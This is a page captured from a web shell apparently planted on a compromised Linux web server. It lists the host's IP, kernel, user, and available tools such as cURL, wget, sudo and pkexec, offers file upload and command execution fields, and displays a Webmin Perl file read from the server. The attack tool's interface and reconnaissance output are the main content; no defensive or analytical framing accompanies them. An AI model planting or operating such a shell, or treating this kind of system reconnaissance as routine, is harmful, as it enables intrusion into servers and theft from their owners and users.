403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/init/cgi_args.pl
do 'init-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
if ($cgi eq 'edit_action.cgi') {
	# Link to init script
	return 'none' if ($init_mode ne 'init');
	my @iacts = &list_actions();
	my @ac = split(/\s+/, $iacts[0]);
	return '0+'.$ac[0];
	}
elsif ($cgi eq 'edit_hostconfig.cgi') {
	return 'none' if ($init_mode ne 'osx');
	my @hconf_set = &hostconfig_settings();
	return '0+'.$hconf_set[0][0];
	}
elsif ($cgi eq 'edit_rc.cgi') {
	return 'none' if ($init_mode ne 'rc');
	my @rcs = &list_rc_scripts();
	return 'name='.&urlize($rcs[0]->{'name'});
	}
elsif ($cgi eq 'reboot.cgi' || $cgi eq 'shutdown.cgi') {
	# Link *without* confirm parameter
	return '';
	}
return undef;
}

Youez - 2016 - github.com/yon3zu
LinuXploit